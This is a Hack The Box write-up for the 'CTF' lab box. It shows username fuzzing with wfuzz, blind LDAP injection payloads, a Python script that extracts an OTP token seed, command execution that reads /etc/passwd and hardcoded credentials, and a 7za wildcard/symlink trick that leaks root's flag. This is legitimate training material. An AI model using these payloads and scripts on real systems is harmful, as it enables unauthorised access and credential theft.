Hack The Box - CTF

Quick Summary

Hey guys today CTF retired and here’s my write-up about it. CTF was a very cool box, it had an ldap injection vulnerability which I have never seen on another box before, and the way of exploiting that vulnerability to gain access was great. A really unique box, I had fun solving it and I hope you have fun too reading my write-up. It’s a Linux box and its ip is 10.10.10.122, I added it to /etc/hosts as ctf.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services :
nmap -sV -sT -sC ctf.htb

Only http on port 80 and ssh on port 22

HTTP Initial Enumeration

http://ctf.htb

It’s pretty straightforward that we will get banned for 5 minutes if we tried to bruteforce anything, like sub directories for example. It’s also saying that they handle authentication with tokens, There’s a login page so let’s take a look at it.

We need a username and an OTP (one-time password). An OTP is time limited which means that even if we could get a valid one it will give us access only once because it expires in a short time (usually 60 seconds). So we need to gain access to a place that generates valid OTPs or to be able to generate valid OTPs ourselves. Let’s take a look at the source code of the login page, maybe something is there :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="/favicon.ico">

<title>CTF login form</title>

<!-- Bootstrap core CSS -->
<link href="/dist/css/bootstrap.min.css" rel="stylesheet">

<!-- Custom styles for this template -->
<link href="cover.css" rel="stylesheet">
</head>

<body class="">
<div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
<header class="masthead mb-auto">
<div class="inner">
<h3 class="masthead-brand">CTF</h3>
<nav class="nav nav-masthead justify-content-center">
<a class="nav-link active" href="/">Home</a>
<a class="nav-link active" href="login.php">Login</a>
</nav>
</div>
</header>

<form action="/login.php" method="post" >
<div class="form-group row">
<div class="col-sm-10">
</div>
</div>
<div class="form-group row">
<label for="inputUsername" class="col-sm-2 col-form-label">Username</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="inputUsename" name="inputUsername" placeholder="Username">
</div>
</div>
<div class="form-group row">
<label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
<div class="col-sm-10">
<input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
<!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
</div>
</div>
<div class="form-group row">
<div class="col-sm-10">
<button type="submit" class="btn btn-primary name="submit" value="Login">Login</button>
</div>
</div>
</form>
<footer class="mastfoot mt-auto text-center">
<div class="inner">
<p><a href="/">CTF</a> by <a href="https://www.hackthebox.eu/home/users/profile/13340" target="_blank">0xEA31</a>. Cover template for <a href="https://getbootstrap.com/">Bootstrap</a>, by <a href="https://twitter.com/mdo">@mdo</a>.</p></div>
</footer>
</div>

<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="/dist/js/bootstrap.min.js"></script>
</body>
</html>

These comments look interesting :

1
2
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
<!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->

So now we know that they are using a token to generate the OTPs, we also know that the length of the token is 81 digits. But I still couldn’t figure out that part about the attribute they’re using to store the token. I decided to bruteforce the username then return to the OTP thing again.
I know what you’re thinking, how will I bruteforce the username without getting banned ? Well I tried to pass any credentials to see how will the application respond :


Here I noticed 2 things. First thing is that it’s actually telling us if the user exists or not, which means that we can enumerate users. The other thing is that it responded normally with a 200 OK response, so If the server identifies a bruteforce attack by monitoring how many times an ip causes errors like 404 for example, as long as we are not causing errors we won’t get banned. I gave it a try to see if it will actually work. I used wfuzz and multiplesources-users-fabian-fingerle.de.txt from seclists :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@kali:~/Desktop/HTB/boxes/ctf# wfuzz -c -u http://ctf.htb/login.php -X POST -d "inputUsername=FUZZ&inputOTP=0000" -w ./multiplesources-users-fabian-fingerle.de.txt 

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************

Target: http://ctf.htb/login.php
Total requests: 21168

==================================================================
ID Response Lines Word Chars Payload
==================================================================

000007: C=200 68 L 229 W 2810 Ch "!@#%^&*("
000008: C=200 68 L 229 W 2810 Ch "!@#%^&*()"
000010: C=200 68 L 229 W 2810 Ch "*****"
000002: C=200 68 L 229 W 2810 Ch "!@#"
000003: C=200 68 L 229 W 2810 Ch "!@#%"
000004: C=200 68 L 229 W 2810 Ch "!@#%^"
000005: C=200 68 L 229 W 2810 Ch "!@#%^&"
000009: C=200 68 L 233 W 2827 Ch """"
000006: C=200 68 L 229 W 2810 Ch "!@#%^&*"
000001: C=200 68 L 233 W 2826 Ch "-"
000011: C=200 68 L 233 W 2826 Ch "0"
000012: C=200 68 L 233 W 2827 Ch "00"
000021: C=200 68 L 233 W 2835 Ch "0123456789"
000015: C=200 68 L 233 W 2833 Ch "00000000"
000016: C=200 68 L 233 W 2827 Ch "01"
^C
Finishing pending requests...

All “user not found” responses have 233 words so I filtered them :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@kali:~/Desktop/HTB/boxes/ctf# wfuzz -c --hw 233 -u http://ctf.htb/login.php -X POST -d "inputUsername=FUZZ&inputOTP=0000" -w ./multiplesources-users-fabian-fingerle.de.txt                                  

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************

Target: http://ctf.htb/login.php
Total requests: 21168

==================================================================
ID Response Lines Word Chars Payload
==================================================================

000006: C=200 68 L 229 W 2810 Ch "!@#%^&*"
000003: C=200 68 L 229 W 2810 Ch "!@#%"
000004: C=200 68 L 229 W 2810 Ch "!@#%^"
000005: C=200 68 L 229 W 2810 Ch "!@#%^&"
000007: C=200 68 L 229 W 2810 Ch "!@#%^&*("
000008: C=200 68 L 229 W 2810 Ch "!@#%^&*()"
000002: C=200 68 L 229 W 2810 Ch "!@#"
000010: C=200 68 L 229 W 2810 Ch "*****"
000065: C=200 68 L 229 W 2810 Ch "123456*a"
005121: C=200 68 L 229 W 2810 Ch "Ch4ng3m3!"
005723: C=200 68 L 229 W 2810 Ch "*%Cookie:"
009377: C=200 68 L 229 W 2810 Ch "!!Huawei"
011497: C=200 68 L 231 W 2822 Ch "ldapuser"
011866: C=200 68 L 234 W 2835 Ch "lost+found"
012611: C=200 68 L 233 W 2831 Ch "maurta"^C
Finishing pending requests...

It worked and I didn’t get banned, after some time I got a result which was ldapuser, that’s weird. I also noticed that payloads that had special characters in them caused different response length. I tried ldapuser to see what’s the other message :


It was “Cannot login”
Then I tried !@#%^&* and I got nothing, I just got the login page back again without any messages. I figured out that the username is being used in an ldap query, and it’s injectable (because of the special chars payloads). Also that existing attribute where the token is stored is an ldap attribute. With the injection we have we can extract the token and use it to generate valid OTPs. But because the injection is blind it will be kinda tricky to extract the token.

LDAP Injection

As I said, it’s a blind injection which means that we won’t get any results. But a payload like this : *)(uid=*))(|(uid=* should result in “Cannot login”. However when I tried it I didn’t get any message, So I tried to URL encode the payload and it worked. So the injection works when the payload is double URL encoded (I only encoded the payload once because the browser automatically encodes POST data). I switched to burp, here are the results :
Request :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /login.php HTTP/1.1
Host: ctf.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf.htb/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 190
Cookie: PHPSESSID=sqmpanb3d1uui0pf4uafubv010
Connection: close
Upgrade-Insecure-Requests: 1

inputUsername=%25%32%61%25%32%39%25%32%38%25%37%35%25%36%39%25%36%34%25%33%64%25%32%61%25%32%39%25%32%39%25%32%38%25%37%63%25%32%38%25%37%35%25%36%39%25%36%34%25%33%64%25%32%61&inputOTP=0000

Response :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.1 200 OK
Date: Fri, 19 Jul 2019 17:58:29 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
X-Powered-By: PHP/5.4.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2822
Connection: close
Content-Type: text/html; charset=UTF-8

<!doctype html>
<html lang="en">
---------
Removed
---------
<div class="col-sm-10">
Cannot login </div>
</div>
---------
Removed
---------

Now we need to know which attribute the token is stored in. We know it’s an existing attribute so we just need to choose the right one. I checked ldap attributes and chose some of them to test (comment, pager and info), the payload will be like this : *)(uid=*))(|(ATTRIBUTE=* (instead of the second uid attribute we will use the attribute we are testing). We also know that the token is numeric so we can remove * and replace it with numeric values from 0 to 9 and monitor the responses (I used burp intruder to do this). So the final payload will be like this : *)(uid=*))(|(ATTRIBUTE=N. After some testing this payload with the attribute pager and value of 2 : *)(uid=*))(|(pager=2 resulted in “Cannot login” message. Great so our payload will be *)(uid=*))(|(pager=2N and we will bruteforce the second number again until we get “Cannot login”. We will keep repeating this until we reach the 81st number, but doing this manually is lame and boring so I wrote a python script.

Exploitation, Token Extraction

I created 3 functions :

  • send_payload (to send the injection payload and receive the response)
  • check_response (to check whether the response contains “Cannot login” or not)
  • exploit : This function creates a list of numbers from 0 to 9, then by looping through that list it creates the payload which is : %2A%29%28uid%3D%2A%29%29%28%7C%28pager%3D + token + number + %2A (encoded only once because python requests automatically encodes POST data). Then it calls send_payload and check_response, if check_response returned True it adds the valid number to the token.

Then I wrote a while loop to keep calling exploit() as long as len(token) is not 81

extract_token.py :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python3
import requests
import sys

YELLOW = "\033[93m"
GREEN = "\033[32m"

def send_payload(payload):
post_data = {"inputUsername":payload,"inputOTP":"0000"}
req = requests.post("http://10.10.10.122/login.php",data=post_data)
response = req.text
return response

def check_response(response):
if "Cannot login" in response:
return True
else:
return False

def exploit():
global token
n_list = [n for n in range(10)]
for i in n_list:
payload = "%2A%29%28uid%3D%2A%29%29%28%7C%28pager%3D{}{}%2A".format(token,str(i))
response = send_payload(payload)
if check_response(response):
token+=str(i)

token = ""
print(YELLOW + "[*] Extracting Token")
while len(token) != 81:
exploit()
sys.stdout.write("\r" + YELLOW + "[*] Status : " + token)
sys.stdout.flush()
else :
print(GREEN + "\n[!] Done !")
print(GREEN + "[*] Token : " + token)


It took some minutes to finish and now we have the token :

1
285449490011357156531651545652335570713167411445727140604172141456711102716717000

I installed stoken (apt-get install stoken), Then I imported the token :

1
stoken import --token 285449490011357156531651545652335570713167411445727140604172141456711102716717000


I didn’t type any password I left it blank. We can either use the cli or the gui, for the cli you have to start stoken and enter the pin then you will get the OTP, and for another OTP you’ll need to start stoken again.

So I just used the gui as it’s better :

RCE, User Flag

Let’s login and see what’s there :

%2a%29%28uid%3d%2a%29%29%28%7c%28uid%3d%2a is *)(uid=*))(|(uid=* url-encoded.
It redirected me to /page.php which I can use to execute commands :

I tried whoami and it worked fine:

I switched to burp to make things easier, I wanted to read /etc/passwd to know the users :
Request :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /page.php HTTP/1.1
Host: ctf.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf.htb/page.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Cookie: PHPSESSID=jj0dlekfhl2pggbo50bg4dkeu0
Connection: close
Upgrade-Insecure-Requests: 1

inputCmd=cat /etc/passwd&inputOTP=52447058

Response :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
HTTP/1.1 200 OK
Date: Fri, 19 Jul 2019 21:58:13 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
X-Powered-By: PHP/5.4.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4005
Connection: close
Content-Type: text/html; charset=UTF-8

<!doctype html>
<html lang="en">
<head>
----------------
Removed Output
----------------
<pre>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ldap:x:55:55:OpenLDAP server:/var/lib/ldap:/sbin/nologin
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin
ldapuser:x:1000:1000::/home/ldapuser:/bin/bash
</pre>
----------------
Removed Output
----------------

We can see that ldapuser is an actual user on the box, I tried to get a reverse shell but for some reason I couldn’t get a reverse shell at all so I started to look in the web files. I was already in the web directory :

1
2
3
inputCmd=pwd&inputOTP=14546713

/var/www/html

I listed the files :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
inputCmd=ls -la&inputOTP=14546713

total 36
drwxr-xr-x. 6 root root 176 Oct 23 2018 .
drwxr-xr-x. 4 root root 33 Jun 27 2018 ..
-rw-r--r--. 1 root root 0 Jul 20 00:03 banned.txt
-rw-r-----. 1 root apache 1424 Oct 23 2018 cover.css
drwxr-x--x. 2 root apache 4096 Oct 23 2018 css
drwxr-x--x. 4 root apache 27 Oct 23 2018 dist
-rw-r-----. 1 root apache 2592 Oct 23 2018 index.html
drwxr-x--x. 2 root apache 242 Oct 23 2018 js
-rw-r-----. 1 root apache 5021 Oct 23 2018 login.php
-rw-r-----. 1 root apache 68 Oct 23 2018 logout.php
-rw-r-----. 1 root apache 5245 Oct 23 2018 page.php
-rw-r-----. 1 root apache 2324 Oct 23 2018 status.php
drwxr-x--x. 2 apache apache 6 Oct 23 2018 uploads

I started looking for any hardcoded credentials in the php files, in login.php I found credentials for ldapuser :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
inputCmd=cat login.php&inputOTP=04181897

<?php
session_start();
$strErrorMsg="";

$username = 'ldapuser';
$password = 'e398e27d5c4ad45086fe431120932a01';

$basedn = 'dc=ctf,dc=htb';
$usersdn = 'cn=users';

// This code uses the START_TLS command

$ldaphost = "ldap://ctf.htb";
$ldapUsername = "cn=$username";

$ds = ldap_connect($ldaphost);
$dn = "uid=ldapuser,ou=People,dc=ctf,dc=htb";

if (!empty($_POST))
{
//var_dump($_POST);
$username1 = $_POST['inputUsername'];
$OPT1 = $_POST['inputOTP'];

$regex='/[()*&|!=><~]/';

if (!preg_match($regex, $username1)) {
$username2 = urldecode($username1);

if(!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)){
print "Could not set LDAPv3\r\n";
}
else if (!ldap_start_tls($ds)) {
print "Could not start secure TLS connection";
}
else {
// now we need to bind to the ldap server
$bth = ldap_bind($ds, $dn, $password) or die("\r\nCould not connect to LDAP server\r\n");

$filter = "(&(objectClass=inetOrgPerson)(uid=$username2))";
// fix to be sure that the user has a token string in the db. Without it you can bypass the OTP check with no token in the input form!
$filter = "(&(&(objectClass=inetOrgPerson)(uid=$username2))(pager=*))";
//echo $filter.PHP_EOL;
if ($search=@ldap_search($ds, $basedn, $filter)) {
$info = ldap_get_entries($ds, $search);

if($info["count"] > 0) {
$token_string = $info[0]['pager'][0];
//echo $token_string;
$token = exec("/usr/bin/stoken --token=$token_string --pin=0000");
if($token == $OPT1) {
$strErrorMsg = "Login ok";
$_SESSION['username'] = $username1;
header ('Location: /page.php');
}
else {
$strErrorMsg = "Cannot login";
}
}
else {
$strErrorMsg = "User $username1 not found";
}
}
}
}
}
?>

ldapuser : e398e27d5c4ad45086fe431120932a01
ssh :

We owned user.

7z List Files and Wildcards, Root Flag

Before enumerating anything I just checked the directories and stuff like that, in / I saw a directory called backup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[ldapuser@ctf /]$ ls -al
total 32
dr-xr-xr-x. 18 root root 238 Jul 31 2018 .
dr-xr-xr-x. 18 root root 238 Jul 31 2018 ..
drwxr-xr-x. 2 root root 4096 Jul 20 00:07 backup
lrwxrwxrwx. 1 root root 7 Jul 30 2018 bin -> usr/bin
dr-xr-xr-x. 5 root root 4096 Oct 16 2018 boot
drwxr-xr-x. 20 root root 3180 Jul 19 23:34 dev
drwxr-xr-x. 90 root root 8192 Dec 9 2018 etc
drwxr-xr-x. 3 root root 22 Jul 30 2018 home
lrwxrwxrwx. 1 root root 7 Jul 30 2018 lib -> usr/lib
lrwxrwxrwx. 1 root root 9 Jul 30 2018 lib64 -> usr/lib64
drwxr-xr-x. 2 root root 6 Apr 11 2018 media
drwxr-xr-x. 2 root root 6 Apr 11 2018 mnt
drwxr-xr-x. 3 root root 16 Jul 30 2018 opt
dr-xr-xr-x. 119 root root 0 Jul 19 23:33 proc
dr-xr-x---. 7 root root 4096 Dec 9 2018 root
drwxr-xr-x. 31 root root 920 Jul 19 23:34 run
lrwxrwxrwx. 1 root root 8 Jul 30 2018 sbin -> usr/sbin
drwxr-xr-x. 2 root root 6 Apr 11 2018 srv
dr-xr-xr-x. 13 root root 0 Jul 19 23:34 sys
drwxrwxrwt. 10 root root 4096 Jul 20 00:06 tmp
drwxr-xr-x. 13 root root 155 Jul 30 2018 usr
drwxr-xr-x. 21 root root 4096 Jul 30 2018 var
[ldapuser@ctf /]$

It had a lot of archives, an error log and a script called honeypot.sh :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[ldapuser@ctf backup]$ ls -al
total 52
drwxr-xr-x. 2 root root 4096 Jul 20 00:07 .
dr-xr-xr-x. 18 root root 238 Jul 31 2018 ..
-rw-r--r--. 1 root root 32 Jul 19 23:57 backup.1563573421.zip
-rw-r--r--. 1 root root 32 Jul 19 23:58 backup.1563573481.zip
-rw-r--r--. 1 root root 32 Jul 19 23:59 backup.1563573541.zip
-rw-r--r--. 1 root root 32 Jul 20 00:00 backup.1563573602.zip
-rw-r--r--. 1 root root 32 Jul 20 00:01 backup.1563573661.zip
-rw-r--r--. 1 root root 32 Jul 20 00:02 backup.1563573721.zip
-rw-r--r--. 1 root root 32 Jul 20 00:03 backup.1563573781.zip
-rw-r--r--. 1 root root 32 Jul 20 00:04 backup.1563573841.zip
-rw-r--r--. 1 root root 32 Jul 20 00:05 backup.1563573901.zip
-rw-r--r--. 1 root root 32 Jul 20 00:06 backup.1563573961.zip
-rw-r--r--. 1 root root 32 Jul 20 00:07 backup.1563574022.zip
-rw-r--r--. 1 root root 0 Jul 20 00:07 error.log
-rwxr--r--. 1 root root 975 Oct 23 2018 honeypot.sh
[ldapuser@ctf backup]$

honeypot.sh :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[ldapuser@ctf backup]$ cat honeypot.sh 
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt

# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')

# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f

# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *

# cleaup the honeypot
rm -rf -- *

# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
[ldapuser@ctf backup]$

Obviously this script runs from time to time to backup files, also it’s running as root. I didn’t check cronjobs or use pspy, it was obvious since it’s accessing /root/root.txt to create the password and only root can access that.
Basically one of the things that this script is doing is that it’s backing up all the files in /var/www/html/uploads by using 7za to put all the uploads in one archive. Let’s look at the command again :
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
It’s using the wildcard asterisk (*) to get all files. This means that if we can write to /var/www/html/uploads our file will be included in the command. If we can create a malicious file name then we can somehow manipulate the 7za command.
It’s also using this option : -snl, I checked the manual page for 7za :

1
-snl   Store symbolic links as links

Note that we can’t unzip the created backups, so even if we created a symlink to root.txt in /var/www/html/uploads we won’t be able to read it because the archive is password protected. The only way to actually get anything is through the error log, we need to cause an error that somehow leaks the flag.
After searching for some time I found this page which talks about a feature in 7z called list files. I thought if I created 2 files, root.txt and @root.txt, root.txt is a symlink to /root/root.txt, when the command is executed and gets to @root.txt it will treat that as a list file option then it will search for root.txt to use it as a list file. However that file isn’t a real list file (that may cause an error), also it’s a symlink to /root/root.txt.
I went to /var/www/html/uploads and I didn’t even have read access.

1
2
3
4
[ldapuser@ctf backup]$ cd /var/www/html/uploads/
[ldapuser@ctf uploads]$ ls -al
ls: cannot open directory .: Permission denied
[ldapuser@ctf uploads]$

so I went back to the RCE requests in burp and tried as apache.
I created a symlink to /root/root.txt as root.txt :

1
inputCmd=ln -s /root/root.txt uploads/root.txt&inputOTP=91913130

Then I created an empty file and called it @root.txt :

1
inputCmd=touch uploads/@root.txt&inputOTP=91913130

Let’s check the directory listing now :

1
2
3
4
5
6
7
inputCmd=ls -la uploads&inputOTP=91913130

total 0
drwxr-x--x. 2 apache apache 39 Jul 20 01:12 .
drwxr-xr-x. 6 root root 176 Oct 23 2018 ..
-rw-r--r--. 1 apache apache 0 Jul 20 01:12 @root.txt
lrwxrwxrwx. 1 apache apache 14 Jul 20 01:12 root.txt -> /root/root.txt

Everything is fine let’s check the error log :

And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Friendzone
Next Hack The Box write-up : Hack The Box - LaCasaDePapel